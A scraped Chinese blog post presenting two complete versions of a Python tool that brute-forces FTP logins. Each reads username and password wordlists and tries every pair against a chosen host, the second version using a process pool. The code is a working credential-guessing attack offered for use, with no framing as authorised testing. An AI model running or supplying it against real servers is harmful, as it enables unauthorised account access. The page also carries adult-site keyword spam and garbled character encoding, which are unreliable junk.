亚洲免费在线-亚洲免费在线播放-亚洲免费在线观看-亚洲免费在线观看视频-亚洲免费在线看-亚洲免费在线视频

python之FTP口令猜解

系統(tǒng) 1875 0

0x00 第一版:

這一版沒有使用線程池,當(dāng)字典過大的時候就會出現(xiàn)子線程過多,導(dǎo)致內(nèi)存,CPU等爆滿。

            
              import easygui as gui  #導(dǎo)入ui
import ftplib  #導(dǎo)入ftp模塊
from multiprocessing import Process,Queue  #引入多線程機(jī)制
import time


def info_get(): #獲取爆破信息參數(shù)
    title="FTP暴力猜解"
    message=['請選擇用戶文件','請選擇密碼文件','請輸入要猜解的主機(jī)ip','請輸入端口號(默認(rèn)21)']
    user_path=gui.fileopenbox(message[0],title)
    pass_path=gui.fileopenbox(message[1],title)
    ip=gui.enterbox(message[2],title)
    port=gui.enterbox(message[3],title)
    if user_path!=None and pass_path!=None and ip!=None and port!=None:
        return (user_path,pass_path,ip,port)
    else:
        user_path="./user.txt"
        pass_path="pass.txt"
        ip="127.0.0.1"
        port="21"
        return (user_path,pass_path,ip,port)


def ftp_crack(user,pass1,ip,port,queue=None):
    message=("cannot connect Host","user or pass error!","crack success!!!")   #定義異常輸出信息
    ftp=ftplib.FTP()

    #主機(jī)連接失敗
    try:
        ftp.connect(ip, port, timeout=30)
    except:
        queue.put((message[0],user,pass1))  #使用隊(duì)列將結(jié)果存儲并返回
        return

    #賬號1密碼錯誤
    try:
        ftp.login(user,pass1)
    except ftplib.error_perm:
        queue.put((message[1],user,pass1))
        return
    else:
        queue.put((message[2],user,pass1))
        return


def main():
    #首先獲取爆破信息
    info=info_get()
    if info[2]=="127.0.0.1":
        print("請輸入正確的IP信息")
        exit(0)
    else:
        #信息獲取正確,開始準(zhǔn)備爆破
        queue = Queue()  # 進(jìn)程通信隊(duì)列
        fp_user=open(info[0],"r",encoding="utf-8")
        fp_pass=open(info[1],"r",encoding="utf-8")
        ip=info[2]
        port=int(info[3])
        for each_line_user in fp_user:
            each_line_user=each_line_user.strip("\n")  #去掉換行符
            fp_pass.seek(0,0)    #文件指針復(fù)原,否則無法再從頭讀取
            for each_line_pass in fp_pass:
                each_line_pass = each_line_pass.strip("\n")  #去掉換行符
                print("testing........."+each_line_user+":"+each_line_pass)
                ftp_crack1=Process(target=ftp_crack,args=(each_line_user,each_line_pass,ip,port,queue))  #創(chuàng)建線程
                ftp_crack1.start()  #開啟線程
                time.sleep(2)  #如果不采用休眠,當(dāng)所有的子線程全部開啟之后,隊(duì)列中可能還沒有結(jié)果,導(dǎo)致整個主線程結(jié)束。

        print("**************************************爆破結(jié)果****************************************")



        #循環(huán)讀取隊(duì)列結(jié)果并顯示
        right=[]
        while True:
            if queue.empty():
                break
            else:
                tmp=queue.get()
                if tmp[0]=="crack success!!!":
                    right=(tmp[0],tmp[1],tmp[2])
                else:
                    print(tmp[1]+":"+tmp[2]+"------>"+tmp[0])

        if right:
            print(right[1]+":"+right[2]+"------->"+right[0])
        else:
            print("crack fail!!!!")

if __name__=="__main__":
    main()

            
          

0x01 第二版

采用線程池,限制子線程個數(shù),使用隊(duì)列保存猜解出來的口令。

            
              import easygui as gui  #導(dǎo)入ui
import ftplib  #導(dǎo)入ftp模塊
from multiprocessing import Pool,Manager  #引入多線程機(jī)制


def info_get(): #獲取爆破信息參數(shù)
    title="FTP暴力猜解"
    message=['請選擇用戶文件','請選擇密碼文件','請輸入要猜解的主機(jī)ip','請輸入端口號(默認(rèn)21)']
    user_path=gui.fileopenbox(message[0],title)
    pass_path=gui.fileopenbox(message[1],title)
    ip=gui.enterbox(message[2],title)
    port=gui.enterbox(message[3],title)
    if user_path!=None and pass_path!=None and ip!=None and port!=None:
        return (user_path,pass_path,ip,port)
    else:
        user_path="./user.txt"
        pass_path="pass.txt"
        ip="127.0.0.1"
        port="21"
        return (user_path,pass_path,ip,port)


def ftp_crack(user,pass1,ip,port,queue=None):   #ftp連接測試
    message=("cannot connect Host","user or pass error!","crack success!!!")   #定義異常輸出信息
    ftp=ftplib.FTP()

    #主機(jī)連接失敗
    try:
        ftp.connect(ip, port, timeout=30)
    except:
        print(user+":"+pass1+"----------->"+message[0])
        return

    #賬號1密碼錯誤
    try:
        ftp.login(user,pass1)
    except ftplib.error_perm:
        print(user+":"+pass1+":"+"------------>"+message[1])
        return
    else:
        print("***************************************************")
        print("*"+user+":"+pass1+"---------------->"+message[2]+"*")
        print("***************************************************")
        queue.put((message[2],user,pass1))   #強(qiáng)行使用一波隊(duì)列,熟悉一下
        return


def main():
    #首先獲取爆破信息
    info=info_get()
    if info[2]=="127.0.0.1":
        print("請輸入正確的IP信息")
        exit(0)
    else:
        #信息獲取正確,開始準(zhǔn)備爆破
        pool=Pool(30)   #創(chuàng)建進(jìn)程池,避免進(jìn)程太多占用內(nèi)存
        queue = Manager().Queue()  # 進(jìn)程池通信隊(duì)列,用于進(jìn)程池中進(jìn)程通信
        fp_user=open(info[0],"r",encoding="utf-8")
        fp_pass=open(info[1],"r",encoding="utf-8")   #打開賬號密碼文件
        ip=info[2]
        port=int(info[3])
        for each_line_user in fp_user:
            each_line_user=each_line_user.strip("\n")  #去掉換行符
            fp_pass.seek(0,0)    #文件指針復(fù)原,否則無法再從頭讀取
            for each_line_pass in fp_pass:
                each_line_pass = each_line_pass.strip("\n")  #去掉換行符
                print("testing........."+each_line_user+":"+each_line_pass)
                next_wait=pool.apply_async(ftp_crack,args=(each_line_user,each_line_pass,ip,port,queue))  #創(chuàng)建線程
            next_wait.wait()   #讓下一組測試等待上一組完全結(jié)束再開始

        pool.close()  #全部組合結(jié)束,將進(jìn)程池關(guān)閉,不再接收新任務(wù)
        pool.join()  #d等待全部進(jìn)程結(jié)束

        result=[]
        while True:
            if not queue.empty():
                result=queue.get()
                print("!!!crack success!!!")
                print(result[1]+":"+result[2]+"----------->"+result[0])
                break
            else:
                print("crack fail! Can't find the right user and pass")
                break

if __name__=="__main__":
    main()

            
          

更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯(lián)系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發(fā)表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 色视频网站人成免费 | 伊人精品影院一本到欧美 | 天天射天天色天天干 | 欧美一欧美一区二三区性 | 精品一区国产 | 国产精品伦视频观看免费 | 久久影院国产 | 国产精品四虎视频一区 | 精品国产一区二区三区香蕉沈先生 | 亚洲精品国产第一区二区三区 | 高清视频一区二区 | 久久精品亚洲精品国产欧美 | 日本欧美一二三区色视频 | 爱爱网站在线观看免费 | 青草青青在线视频 | 国产亚洲精品久久yy5099 | 亚洲第一欧美 | 男女免费在线视频 | 天天草夜夜爽 | 九九热re | 欧美黑人激情性久久 | 日本免费不卡视频 | 手机福利在线观看 | 情趣视频网站在线观看 | 亚洲欧美综合图区官网 | 黄色片在线观看网址 | 91在线品视觉盛宴免费 | 破处一级片 | 91精品免费高清在线 | 久久久久久九 | 777奇米影音 | 日日夜夜天天操 | 老子理论不卡影院6080 | 性做久久久久久坡多野结衣 | 国产永久视频 | 精品久久久久不卡无毒 | 国产99精品免费视频看6 | 精品国产一区二区三区香蕉沈先生 | 四虎影院在线免费播放 | 日本精品视频在线观看 | 九九香蕉网 |